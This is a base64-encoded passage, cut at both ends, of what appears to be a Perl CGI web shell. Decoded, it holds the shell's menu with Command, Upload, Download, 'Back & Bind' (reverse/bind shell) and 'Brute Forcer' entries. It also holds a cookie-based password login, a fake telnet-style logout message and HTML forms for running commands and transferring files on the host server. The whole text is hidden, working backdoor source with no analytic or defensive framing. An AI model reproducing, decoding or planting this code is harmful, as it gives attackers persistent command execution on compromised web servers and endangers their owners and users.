InfTwvZm9udD4NCgk8L3RkPg0KPC90cj4NCjx0cj4NCjx0ZCBjb2xzcGFuPSIyIj4NCjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbiI+SG9tZTwvYT4gfCANCjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPWNvbW1hbmQmZD0kRW5jb2RlQ3VycmVudERpciI+Q29tbWFuZDwvYT4gfA0KPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9Z3VpJmQ9JEVuY29kZUN1cnJlbnREaXIiPkdVSTwvYT4gfCANCjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPXVwbG9hZCZkPSRFbmNvZGVDdXJyZW50RGlyIj5VcGxvYWQgRmlsZTwvYT4gfCANCjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPWRvd25sb2FkJmQ9JEVuY29kZUN1cnJlbnREaXIiPkRvd25sb2FkIEZpbGU8L2E+IHwNCjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPWJhY2tiaW5kIj5CYWNrICYgQmluZDwvYT4gfA0KPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9YnJ1dGVmb3JjZXIiPkJydXRlIEZvcmNlcjwvYT4gfA0KPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9Y2hlY2tsb2ciPkNoZWNrIExvZzwvYT4gfA0KPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9ZG9tYWluc3VzZXIiPkRvbWFpbnMvVXNlcnM8L2E+IHwNCjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPWxvZ291dCI+TG9nb3V0PC9hPiB8DQo8YSB0YXJnZXQ9J19ibGFuaycgaHJlZj0iIyI+SGVscDwvYT4NCjwvdGQ+DQo8L3RyPg0KPHRyPg0KPHRkIGNvbHNwYW49IjIiPg0KJGlkDQo8L3RkPg0KPC90cj4NCjwvdGFibGU+DQo8Zm9udCBpZD0iUmVzcG9uc2VEYXRhIiBjb2xvcj0iI0ZGRkZGRiIgPg0KRU5EDQp9DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFByaW50cyB0aGUgTG9naW4gU2NyZWVuDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUHJpbnRMb2dpblNjcmVlbg0Kew0KCXByaW50IDw8RU5EOw0KPHByZT48c2NyaXB0IHR5cGU9InRleHQvamF2YXNjcmlwdCI+DQpUeXBpbmdUZXh0ID0gZnVuY3Rpb24oZWxlbWVudCwgaW50ZXJ2YWwsIGN1cnNvciwgZmluaXNoZWRDYWxsYmFjaykgew0KICBpZigodHlwZW9mIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkID09ICJ1bmRlZmluZWQiKSB8fCAodHlwZW9mIGVsZW1lbnQuaW5uZXJIVE1MID09ICJ1bmRlZmluZWQiKSkgew0KICAgIHRoaXMucnVubmluZyA9IHRydWU7CS8vIE5ldmVyIHJ1bi4NCiAgICByZXR1cm47DQogIH0NCiAgdGhpcy5lbGVtZW50ID0gZWxlbWVudDsNCiAgdGhpcy5maW5pc2hlZENhbGxiYWNrID0gKGZpbmlzaGVkQ2FsbGJhY2sgPyBmaW5pc2hlZENhbGxiYWNrIDogZnVuY3Rpb24oKSB7IHJldHVybjsgfSk7DQogIHRoaXMuaW50ZXJ2YWwgPSAodHlwZW9mIGludGVydmFsID09ICJ1bmRlZmluZWQiID8gMTAwIDogaW50ZXJ2YWwpOw0KICB0aGlzLm9yaWdUZXh0ID0gdGhpcy5lbGVtZW50LmlubmVySFRNTDsNCiAgdGhpcy51bnBhcnNlZE9yaWdUZXh0ID0gdGhpcy5vcmlnVGV4dDsNCiAgdGhpcy5jdXJzb3IgPSAoY3Vyc29yID8gY3Vyc29yIDogIiIpOw0KICB0aGlzLmN1cnJlbnRUZXh0ID0gIiI7DQogIHRoaXMuY3VycmVudENoYXIgPSAwOw0KICB0aGlzLmVsZW1lbnQudHlwaW5nVGV4dCA9IHRoaXM7DQogIGlmKHRoaXMuZWxlbWVudC5pZCA9PSAiIikgdGhpcy5lbGVtZW50LmlkID0gInR5cGluZ3RleHQiICsgVHlwaW5nVGV4dC5jdXJyZW50SW5kZXgrKzsNCiAgVHlwaW5nVGV4dC5hbGwucHVzaCh0aGlzKTsNCiAgdGhpcy5ydW5uaW5nID0gZmFsc2U7DQogIHRoaXMuaW5UYWcgPSBmYWxzZTsNCiAgdGhpcy50YWdCdWZmZXIgPSAiIjsNCiAgdGhpcy5pbkhUTUxFbnRpdHkgPSBmYWxzZTsNCiAgdGhpcy5IVE1MRW50aXR5QnVmZmVyID0gIiI7DQp9DQpUeXBpbmdUZXh0LmFsbCA9IG5ldyBBcnJheSgpOw0KVHlwaW5nVGV4dC5jdXJyZW50SW5kZXggPSAwOw0KVHlwaW5nVGV4dC5ydW5BbGwgPSBmdW5jdGlvbigpIHsNCiAgZm9yKHZhciBpID0gMDsgaSA8IFR5cGluZ1RleHQuYWxsLmxlbmd0aDsgaSsrKSBUeXBpbmdUZXh0LmFsbFtpXS5ydW4oKTsNCn0NClR5cGluZ1RleHQucHJvdG90eXBlLnJ1biA9IGZ1bmN0aW9uKCkgew0KICBpZih0aGlzLnJ1bm5pbmcpIHJldHVybjsNCiAgaWYodHlwZW9mIHRoaXMub3JpZ1RleHQgPT0gInVuZGVmaW5lZCIpIHsNCiAgICBzZXRUaW1lb3V0KCJkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnIiArIHRoaXMuZWxlbWVudC5pZCArICInKS50eXBpbmdUZXh0LnJ1bigpIiwgdGhpcy5pbnRlcnZhbCk7CS8vIFdlIGhhdmVuJ3QgZmluaXNoZWQgbG9hZGluZyB5ZXQuICBIYXZlIHBhdGllbmNlLg0KICAgIHJldHVybjsNCiAgfQ0KICBpZih0aGlzLmN1cnJlbnRUZXh0ID09ICIiKSB0aGlzLmVsZW1lbnQuaW5uZXJIVE1MID0gIiI7DQovLyAgdGhpcy5vcmlnVGV4dCA9IHRoaXMub3JpZ1RleHQucmVwbGFjZSgvPChbXjxdKSo+LywgIiIpOyAgICAgLy8gU3RyaXAgSFRNTCBmcm9tIHRleHQuDQogIGlmKHRoaXMuY3VycmVudENoYXIgPCB0aGlzLm9yaWdUZXh0Lmxlbmd0aCkgew0KICAgIGlmKHRoaXMub3JpZ1RleHQuY2hhckF0KHRoaXMuY3VycmVudENoYXIpID09ICI8IiAmJiAhdGhpcy5pblRhZykgew0KICAgICAgdGhpcy50YWdCdWZmZXIgPSAiPCI7DQogICAgICB0aGlzLmluVGFnID0gdHJ1ZTsNCiAgICAgIHRoaXMuY3VycmVudENoYXIrKzsNCiAgICAgIHRoaXMucnVuKCk7DQogICAgICByZXR1cm47DQogICAgfSBlbHNlIGlmKHRoaXMub3JpZ1RleHQuY2hhckF0KHRoaXMuY3VycmVudENoYXIpID09ICI+IiAmJiB0aGlzLmluVGFnKSB7DQogICAgICB0aGlzLnRhZ0J1ZmZlciArPSAiPiI7DQogICAgICB0aGlzLmluVGFnID0gZmFsc2U7DQogICAgICB0aGlzLmN1cnJlbnRUZXh0ICs9IHRoaXMudGFnQnVmZmVyOw0KICAgICAgdGhpcy5jdXJyZW50Q2hhcisrOw0KICAgICAgdGhpcy5ydW4oKTsNCiAgICAgIHJldHVybjsNCiAgICB9IGVsc2UgaWYodGhpcy5pblRhZykgew0KICAgICAgdGhpcy50YWdCdWZmZXIgKz0gdGhpcy5vcmlnVGV4dC5jaGFyQXQodGhpcy5jdXJyZW50Q2hhcik7DQogICAgICB0aGlzLmN1cnJlbnRDaGFyKys7DQogICAgICB0aGlzLnJ1bigpOw0KICAgICAgcmV0dXJuOw0KICAgIH0gZWxzZSBpZih0aGlzLm9yaWdUZXh0LmNoYXJBdCh0aGlzLmN1cnJlbnRDaGFyKSA9PSAiJiIgJiYgIXRoaXMuaW5IVE1MRW50aXR5KSB7DQogICAgICB0aGlzLkhUTUxFbnRpdHlCdWZmZXIgPSAiJiI7DQogICAgICB0aGlzLmluSFRNTEVudGl0eSA9IHRydWU7DQogICAgICB0aGlzLmN1cnJlbnRDaGFyKys7DQogICAgICB0aGlzLnJ1bigpOw0KICAgICAgcmV0dXJuOw0KICAgIH0gZWxzZSBpZih0aGlzLm9yaWdUZXh0LmNoYXJBdCh0aGlzLmN1cnJlbnRDaGFyKSA9PSAiOyIgJiYgdGhpcy5pbkhUTUxFbnRpdHkpIHsNCiAgICAgIHRoaXMuSFRNTEVudGl0eUJ1ZmZlciArPSAiOyI7DQogICAgICB0aGlzLmluSFRNTEVudGl0eSA9IGZhbHNlOw0KICAgICAgdGhpcy5jdXJyZW50VGV4dCArPSB0aGlzLkhUTUxFbnRpdHlCdWZmZXI7DQogICAgICB0aGlzLmN1cnJlbnRDaGFyKys7DQogICAgICB0aGlzLnJ1bigpOw0KICAgICAgcmV0dXJuOw0KICAgIH0gZWxzZSBpZih0aGlzLmluSFRNTEVudGl0eSkgew0KICAgICAgdGhpcy5IVE1MRW50aXR5QnVmZmVyICs9IHRoaXMub3JpZ1RleHQuY2hhckF0KHRoaXMuY3VycmVudENoYXIpOw0KICAgICAgdGhpcy5jdXJyZW50Q2hhcisrOw0KICAgICAgdGhpcy5ydW4oKTsNCiAgICAgIHJldHVybjsNCiAgICB9IGVsc2Ugew0KICAgICAgdGhpcy5jdXJyZW50VGV4dCArPSB0aGlzLm9yaWdUZXh0LmNoYXJBdCh0aGlzLmN1cnJlbnRDaGFyKTsNCiAgICB9DQogICAgdGhpcy5lbGVtZW50LmlubmVySFRNTCA9IHRoaXMuY3VycmVudFRleHQ7DQogICAgdGhpcy5lbGVtZW50LmlubmVySFRNTCArPSAodGhpcy5jdXJyZW50Q2hhciA8IHRoaXMub3JpZ1RleHQubGVuZ3RoIC0gMSA/ICh0eXBlb2YgdGhpcy5jdXJzb3IgPT0gImZ1bmN0aW9uIiA/IHRoaXMuY3Vyc29yKHRoaXMuY3VycmVudFRleHQpIDogdGhpcy5jdXJzb3IpIDogIiIpOw0KICAgIHRoaXMuY3VycmVudENoYXIrKzsNCiAgICBzZXRUaW1lb3V0KCJkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnIiArIHRoaXMuZWxlbWVudC5pZCArICInKS50eXBpbmdUZXh0LnJ1bigpIiwgdGhpcy5pbnRlcnZhbCk7DQogIH0gZWxzZSB7DQoJdGhpcy5jdXJyZW50VGV4dCA9ICIiOw0KCXRoaXMuY3VycmVudENoYXIgPSAwOw0KICAgICAgICB0aGlzLnJ1bm5pbmcgPSBmYWxzZTsNCiAgICAgICAgdGhpcy5maW5pc2hlZENhbGxiYWNrKCk7DQogIH0NCn0NCjwvc2NyaXB0Pg0KPC9wcmU+DQoNCjxicj4NCg0KPHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPg0KbmV3IFR5cGluZ1RleHQoZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoImhhY2siKSwgMzAsIGZ1bmN0aW9uKGkpeyB2YXIgYXIgPSBuZXcgQXJyYXkoIl8iLCIiKTsgcmV0dXJuICIgIiArIGFyW2kubGVuZ3RoICUgYXIubGVuZ3RoXTsgfSk7DQpUeXBpbmdUZXh0LnJ1bkFsbCgpOw0KDQo8L3NjcmlwdD4NCkVORA0KfQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBlbmNvZGUgaHRtbCBzcGVjaWFsIGNoYXJzDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgVXJsRW5jb2RlKCQpew0KCW15ICRzdHIgPSBzaGlmdDsNCgkkc3RyID1+IHMvKFteQS1aYS16MC05XSkvc3ByaW50ZigiJSUlMDJYIiwgb3JkKCQxKSkvc2VnOw0KCXJldHVybiAkc3RyOw0KfQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBBZGQgaHRtbCBzcGVjaWFsIGNoYXJzDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgSHRtbFNwZWNpYWxDaGFycygkKXsNCglteSAkdGV4dCA9IHNoaWZ0Ow0KCSR0ZXh0ID1+IHMvJi8mYW1wOy9nOw0KCSR0ZXh0ID1+IHMvIi8mcXVvdDsvZzsNCgkkdGV4dCA9fiBzLycvJy9nOw0KCSR0ZXh0ID1+IHMvPC8mbHQ7L2c7DQoJJHRleHQgPX4gcy8+LyZndDsvZzsNCglyZXR1cm4gJHRleHQ7DQp9DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIEFkZCBsaW5rIGZvciBkaXJlY3RvcnkNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBBZGRMaW5rRGlyKCQpDQp7DQoJbXkgJGFjPXNoaWZ0Ow0KCW15IEBkaXI9KCk7DQoJaWYoJFdpbk5UKQ0KCXsNCgkJQGRpcj1zcGxpdCgvXFwvLCRDdXJyZW50RGlyKTsNCgl9ZWxzZQ0KCXsNCgkJQGRpcj1zcGxpdCgiLyIsJnRyaW0oJEN1cnJlbnREaXIpKTsNCgl9DQoJbXkgJHBhdGg9IiI7DQoJbXkgJHJlc3VsdD0iIjsNCglmb3JlYWNoIChAZGlyKQ0KCXsNCgkJJHBhdGggLj0gJF8uJFBhdGhTZXA7DQoJCSRyZXN1bHQuPSI8YSBocmVmPSc/YT0iLiRhYy4iJmQ9Ii5lbmNvZGVfYmFzZTY0KCRwYXRoKS4iJz4iLiRfLiRQYXRoU2VwLiI8L2E+IjsNCgl9DQoJcmV0dXJuICRyZXN1bHQ7DQp9DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFByaW50cyB0aGUgbWVzc2FnZSB0aGF0IGluZm9ybXMgdGhlIHVzZXIgb2YgYSBmYWlsZWQgbG9naW4NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBQcmludExvZ2luRmFpbGVkTWVzc2FnZQ0Kew0KCXByaW50IDw8RU5EOw0KDQpQYXNzd29yZDo8YnI+DQpMb2dpbiBpbmNvcnJlY3Q8YnI+PGJyPg0KRU5EDQp9DQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgUHJpbnRzIHRoZSBIVE1MIGZvcm0gZm9yIGxvZ2dpbmcgaW4NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBQcmludExvZ2luRm9ybQ0Kew0KCXByaW50IDw8RU5EOw0KPGZvcm0gbmFtZT0iZiIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0ibG9naW4iPg0KTG9naW4gOiBBZG1pbmlzdHJhdG9yPGJyPg0KUGFzc3dvcmQ6PGlucHV0IHR5cGU9InBhc3N3b3JkIiBuYW1lPSJwIj4NCjxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJFbnRlciI+DQo8L2Zvcm0+DQpFTkQNCn0NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgUHJpbnRzIHRoZSBmb290ZXIgZm9yIHRoZSBIVE1MIFBhZ2UNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBQcmludFBhZ2VGb290ZXINCnsNCglwcmludCAiPGJyPjxmb250IGNvbG9yPXJlZD5vLS0tWyAgPGZvbnQgY29sb3I9I2ZmOTkwMD5FZGl0IGJ5ICRFZGl0UGVyc2lvbiA8L2ZvbnQ+ICBdLS0tbzwvZm9udD48L2NvZGU+PC9jZW50ZXI+PC9ib2R5PjwvaHRtbD4iOw0KfQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBSZXRyZWl2ZXMgdGhlIHZhbHVlcyBvZiBhbGwgY29va2llcy4gVGhlIGNvb2tpZXMgY2FuIGJlIGFjY2Vzc2VzIHVzaW5nIHRoZQ0KIyB2YXJpYWJsZSAkQ29va2llc3snJ30NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBHZXRDb29raWVzDQp7DQoJQGh0dHBjb29raWVzID0gc3BsaXQoLzsgLywkRU5WeydIVFRQX0NPT0tJRSd9KTsNCglmb3JlYWNoICRjb29raWUoQGh0dHBjb29raWVzKQ0KCXsNCgkJKCRpZCwgJHZhbCkgPSBzcGxpdCgvPS8sICRjb29raWUpOw0KCQkkQ29va2llc3skaWR9ID0gJHZhbDsNCgl9DQp9DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFByaW50cyB0aGUgc2NyZWVuIHdoZW4gdGhlIHVzZXIgbG9ncyBvdXQNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBQcmludExvZ291dFNjcmVlbg0Kew0KCXByaW50ICJDb25uZWN0aW9uIGNsb3NlZCBieSBmb3JlaWduIGhvc3QuPGJyPjxicj4iOw0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIExvZ3Mgb3V0IHRoZSB1c2VyIGFuZCBhbGxvd3MgdGhlIHVzZXIgdG8gbG9naW4gYWdhaW4NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBQZXJmb3JtTG9nb3V0DQp7DQoJcHJpbnQgIlNldC1Db29raWU6IFNBVkVEUFdEPTtcbiI7ICMgcmVtb3ZlIHBhc3N3b3JkIGNvb2tpZQ0KCSZQcmludFBhZ2VIZWFkZXIoInAiKTsNCgkmUHJpbnRMb2dvdXRTY3JlZW47DQoNCgkmUHJpbnRMb2dpblNjcmVlbjsNCgkmUHJpbnRMb2dpbkZvcm07DQoJJlByaW50UGFnZUZvb3RlcjsNCglleGl0Ow0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFRoaXMgZnVuY3Rpb24gaXMgY2FsbGVkIHRvIGxvZ2luIHRoZSB1c2VyLiBJZiB0aGUgcGFzc3dvcmQgbWF0Y2hlcywgaXQNCiMgZGlzcGxheXMgYSBwYWdlIHRoYXQgYWxsb3dzIHRoZSB1c2VyIHRvIHJ1biBjb21tYW5kcy4gSWYgdGhlIHBhc3N3b3JkIGRvZW5zJ3QNCiMgbWF0Y2ggb3IgaWYgbm8gcGFzc3dvcmQgaXMgZW50ZXJlZCwgaXQgZGlzcGxheXMgYSBmb3JtIHRoYXQgYWxsb3dzIHRoZSB1c2VyDQojIHRvIGxvZ2luDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUGVyZm9ybUxvZ2luIA0Kew0KCWlmKCRMb2dpblBhc3N3b3JkIGVxICRQYXNzd29yZCkgIyBwYXNzd29yZCBtYXRjaGVkDQoJew0KCQlwcmludCAiU2V0LUNvb2tpZTogU0FWRURQV0Q9JExvZ2luUGFzc3dvcmQ7XG4iOw0KCQkmUHJpbnRQYWdlSGVhZGVyOw0KCQlwcmludCAmTGlzdERpcjsNCgl9DQoJZWxzZSAjIHBhc3N3b3JkIGRpZG4ndCBtYXRjaA0KCXsNCgkJJlByaW50UGFnZUhlYWRlcigicCIpOw0KCQkmUHJpbnRMb2dpblNjcmVlbjsNCgkJaWYoJExvZ2luUGFzc3dvcmQgbmUgIiIpICMgc29tZSBwYXNzd29yZCB3YXMgZW50ZXJlZA0KCQl7DQoJCQkmUHJpbnRMb2dpbkZhaWxlZE1lc3NhZ2U7DQoNCgkJfQ0KCQkmUHJpbnRMb2dpbkZvcm07DQoJCSZQcmludFBhZ2VGb290ZXI7DQoJCWV4aXQ7DQoJfQ0KfQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBQcmludHMgdGhlIEhUTUwgZm9ybSB0aGF0IGFsbG93cyB0aGUgdXNlciB0byBlbnRlciBjb21tYW5kcw0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFByaW50Q29tbWFuZExpbmVJbnB1dEZvcm0NCnsNCgkkRW5jb2RlQ3VycmVudERpciA9IEVuY29kZURpcigkQ3VycmVudERpcik7DQoJbXkgJGRpcj0gIjxzcGFuIHN0eWxlPSdmb250OiAxMXB0IFZlcmRhbmE7IGZvbnQtd2VpZ2h0OiBib2xkOyc+Ii4mQWRkTGlua0RpcigiY29tbWFuZCIpLiI8L3NwYW4+IjsNCgkkUHJvbXB0ID0gJFdpbk5UID8gIiRkaXIgPiAiIDogIjxmb250IGNvbG9yPScjRkZGRkZGJz5bYWRtaW5cQCRTZXJ2ZXJOYW1lICRkaXJdXCQ8L2ZvbnQ+ICI7DQoJcmV0dXJuIDw8RU5EOw0KPGZvcm0gbmFtZT0iZiIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiIgb25TdWJtaXQ9IkVuY29kZXIoJ2MnKSI+DQoNCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJjb21tYW5kIj4NCg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iZCIgdmFsdWU9IiRFbmNvZGVDdXJyZW50RGlyIj4NCiRQcm9tcHQNCjxpbnB1dCB0eXBlPSJ0ZXh0IiBzaXplPSI0MCIgbmFtZT0iYyIgaWQ9ImMiPg0KPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IkVudGVyIj4NCjwvZm9ybT4NCkVORA0KfQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBQcmludHMgdGhlIEhUTUwgZm9ybSB0aGF0IGFsbG93cyB0aGUgdXNlciB0byBkb3dubG9hZCBmaWxlcw0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFByaW50RmlsZURvd25sb2FkRm9ybQ0Kew0KCSRFbmNvZGVDdXJyZW50RGlyID0gRW5jb2RlRGlyKCRDdXJyZW50RGlyKTsNCglteSAkZGlyID0gJkFkZExpbmtEaXIoImRvd25sb2FkIik7IA0KCSRQcm9tcHQgPSAkV2luTlQgPyAiJGRpciA+ICIgOiAiW2FkbWluXEAkU2VydmVyTmFtZSAkZGlyXVwkICI7DQoJcmV0dXJuIDw8RU5EOw0KPGZvcm0gbmFtZT0iZiIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJkIiB2YWx1ZT0iJEVuY29kZUN1cnJlbnREaXIiPg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYSIgdmFsdWU9ImRvd25sb2FkIj4NCiRQcm9tcHQgZG93bmxvYWQ8YnI+PGJyPg0KRmlsZW5hbWU6IDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJmIiBzaXplPSIzNSI+PGJyPjxicj4NCkRvd25sb2FkOiA8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iQmVnaW4iPg0KDQo8L2Zvcm0+DQpFTkQNCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBQcmludHMgdGhlIEhUTUwgZm9ybSB0aGF0IGFsbG93cyB0aGUgdXNlciB0byB1cGxvYWQgZmlsZXMNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBQcmludEZpbGVVcGxvYWRGb3JtDQp7DQoJJEVuY29kZUN1cnJlbnREaXIgPSBFbmNvZGVEaXIoJEN1cnJlbnREaXIpOw0KCW15ICRkaXI9ICZBZGRMaW5rRGlyKCJ1cGxvYWQiKTsNCgkkUHJvbXB0ID0gJFdpbk5UID8gIiRkaXIgPiAiIDogIlthZG1pblxAJFNlcnZlck5hbWUgJGRpcl1cJCAiOw0KCXJldHVybiA8PEVORDsNCjxmb3JtIG5hbWU9ImYiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIkU2NyaXB0TG9jYXRpb24iPg0KJFByb21wdCB1cGxvYWQ8YnI+PGJyPg0KRmlsZW5hbWU6IDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmIiBzaXplPSIzNSI+PGJyPjxicj4NCk9wdGlvbnM6ICZuYnNwOzxpbnB1dCB0eXBlPSJjaGVja2JveCIgbmFtZT0ibyIgaWQ9InVwIiB2YWx1ZT0ib3ZlcndyaXRlIj4NCjxsYWJlbCBmb3I9InVwIj5PdmVyd3JpdGUgaWYgaXQgRXhpc3RzPC9sYWJlbD48YnI+PGJyPg0KVXBsb2FkOiZuYnNwOyZuYnNwOyZuYnNwOzxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJCZWdpbiI+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJkIiB2YWx1ZT0iJEVuY29kZUN1cnJlbnREaXIiPg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYSIgdmFsdWU9InVwbG9hZCI+DQo8L2Zvcm0+DQpFTkQNCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBUaGlzIGZ1bmN0aW9uIGlzIGNhbGxlZCB3aGVuIHRoZSB0aW1lb3V0IGZvciBhIGNvbW1hbmQgZXhwaXJlcy4gV2UgbmVlZCB0bw0KIyB0ZXJtaW5hdGUgdGhlIHNjcmlwdCBpbW1lZGlhdGVseS4gVGhpcyBmdW5